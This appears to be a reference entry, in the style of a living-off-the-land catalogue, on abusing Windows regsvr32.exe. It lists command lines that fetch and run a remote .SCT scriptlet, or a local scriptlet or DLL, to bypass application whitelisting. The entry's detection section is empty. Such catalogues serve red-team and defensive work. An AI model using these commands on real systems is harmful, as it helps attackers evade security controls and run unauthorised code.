Regsvr32.exe

Used by Windows to register dlls

Paths

  • C:\Windows\System32\regsvr32.exe
  • C:\Windows\SysWOW64\regsvr32.exe

Commands

AWL Bypass

Execute the specified remote .SCT script with scrobj.dll.

Use case: Execute code from remote scriptlet, bypass Application whitelisting

Privileges: User

regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll

AWL Bypass

Execute the specified local .SCT script with scrobj.dll.

Use case: Execute code from scriptlet, bypass Application whitelisting

Privileges: User

regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll

Execute

Execute the specified remote .SCT script with scrobj.dll.

Use case: Execute code from remote scriptlet, bypass Application whitelisting

Privileges: User

regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll

Execute

Execute the specified local .SCT script with scrobj.dll.

Use case: Execute code from scriptlet, bypass Application whitelisting

Privileges: User

regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll

Execute

Execute code in a DLL. The code must be inside the exported function `DllRegisterServer`.

Use case: Execute DLL file

Privileges: User

regsvr32.exe /s {PATH:.dll}

Execute

Execute code in a DLL. The code must be inside the exported function `DllUnRegisterServer`.

Use case: Execute DLL file

Privileges: User

regsvr32.exe /u /s {PATH:.dll}

Detection

Resources